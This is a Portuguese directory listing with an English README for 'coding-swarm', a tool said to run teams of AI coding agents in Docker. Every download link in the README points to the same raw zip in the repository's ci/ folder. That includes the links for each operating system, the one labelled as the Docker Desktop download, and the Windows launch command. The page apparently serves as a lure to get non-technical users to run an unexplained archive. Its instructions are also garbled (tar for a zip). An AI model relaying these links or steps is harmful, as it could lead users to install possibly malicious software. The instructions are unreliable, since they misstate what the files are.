coding-swarm
MihailBausov/coding-swarm
Orquestre equipes de agentes IA para desenvolvimento de software paralelo
Ver no GitHubMCP server que executa equipes de agentes IA em contêineres isolados para coordenar tarefas de código em paralelo. Suporta múltiplos provedores de IA e integração com git, automatizando build, teste e manutenção de projetos sem necessidade de escrever código manualmente.
Instalação
npx convez-ai MihailBausov/coding-swarm1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Automação de desenvolvimento e testes de software em paralelo
- Coordenação de múltiplos agentes IA para refatoração de código
- Gestão automatizada de projetos com integração git
Veredito

Ferramenta ambiciosa para orquestração de agentes IA em fluxos de desenvolvimento. Requer Docker e infraestrutura não trivial, mas oferece potencial real para acelerar ciclos de desenvolvimento paralelos e manutenção de código em larga escala.
README
A tradução para o português deste README ainda está na fila.
🤖 coding-swarm - Run Teams of AI Agents Easily
coding-swarm is a tool that lets you run teams of intelligent agents to build and manage software projects without needing to write code yourself. It was inspired by Anthropic’s experiment with multi-agent AI working together on coding tasks. This framework handles the heavy lifting so you can focus on what you want the software to do.
📋 What is coding-swarm?
coding-swarm allows multiple AI agents to work together to create, test, and update software. Imagine a team of experts working nonstop on your project. Each agent knows a specific role, like writing code, checking for bugs, or updating features.
You don’t need programming skills to use it. coding-swarm runs these agents for you, automatically coordinating their tasks. This helps speed up software development and maintenance.
💻 System Requirements
To run coding-swarm smoothly, your computer should meet these basics:
- Operating System: Windows 10 or later, macOS 10.15 (Catalina) or later, or a recent Linux version.
- Processor: Dual-core processor or better (Intel i3, Ryzen 3 or equivalent).
- Memory: At least 8 GB of RAM.
- Storage: Minimum 500 MB free disk space.
- Internet connection: Required for downloading the software and for agents to access online resources.
- Additional tools: Docker must be installed to run the agents in containers (instructions below).
If you don’t have Docker, installation steps are provided below.
🧰 Features of coding-swarm
- Runs multiple AI agents at once to share coding tasks.
- Automatically builds and tests software projects.
- Keeps projects updated by managing changes over time.
- Uses Docker containers for isolated and reliable operation.
- Command line interface (CLI) to start and control agent teams.
- Support for Python-based agents and scripts.
🚀 Getting Started
Follow these steps to get coding-swarm up and running on your computer.
1. Download the software
To get the latest version of coding-swarm:
- Visit the official releases page on GitHub.
- Look for the file that matches your operating system. For example:
https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zipfor Windows.https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zipfor macOS.https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zipfor Linux.
- Download the file to a location you can easily find, such as your Desktop or Downloads folder.
2. Install Docker (if not installed)
coding-swarm uses Docker to run its AI agents safely.
- Go to https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip.
- Download Docker Desktop for your operating system.
- Follow their installation guide to complete setup.
- After installation, start Docker and ensure it runs in the background.
3. Extract and set up coding-swarm
- Extract the downloaded file:
- On Windows, right-click the
.zipfile and select “Extract All.” - On macOS or Linux, use system tools or terminal commands (
tar -xzf filename).
- On Windows, right-click the
- Open the extracted folder.
- Inside, you will find a simple program file or script to launch coding-swarm.
4. Run coding-swarm
-
Open your system’s command prompt (Windows Command Prompt, macOS Terminal, or Linux Terminal).
-
Navigate to the folder where you extracted coding-swarm:
- Example:
cd Desktop/coding-swarm
- Example:
-
Run the main program by typing:
./start-coding-swarmor on Windows:
https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip -
coding-swarm will start and begin running its AI agent teams in Docker containers.
5. Use coding-swarm
Once running, you can control coding-swarm with simple commands typed in the terminal:
-
To see the status of the AI agents, type:
status -
To stop the application, type:
stop -
Detailed commands and options will appear in the program’s help menu:
help
📦 About the AI Agents
Agents are like small programs focusing on one task each:
- Coder Agent: Writes code based on instructions.
- Tester Agent: Checks for bugs and errors.
- Maintainer Agent: Updates code and fixes issues.
These agents communicate and work together inside Docker containers, making coding-swarm reliable and easy to manage.
🛠 Troubleshooting
If you run into issues, try these steps:
- Make sure Docker is running.
- Check your internet connection.
- Restart the program using the commands above.
- Look for error messages in the terminal window and note them.
If problems persist, you can report issues on the GitHub repository’s Issues page.
🔗 Download & Install
You can access the latest release and installation files by visiting the link below:
Download coding-swarm on GitHub
This page has all versions of coding-swarm. Choose the correct one for your system, then follow the instructions in this guide.
This guide is designed to help you use coding-swarm without needing coding skills. The AI agents are built to manage complex software tasks, letting you focus on your project goals with minimal worry about the technical details.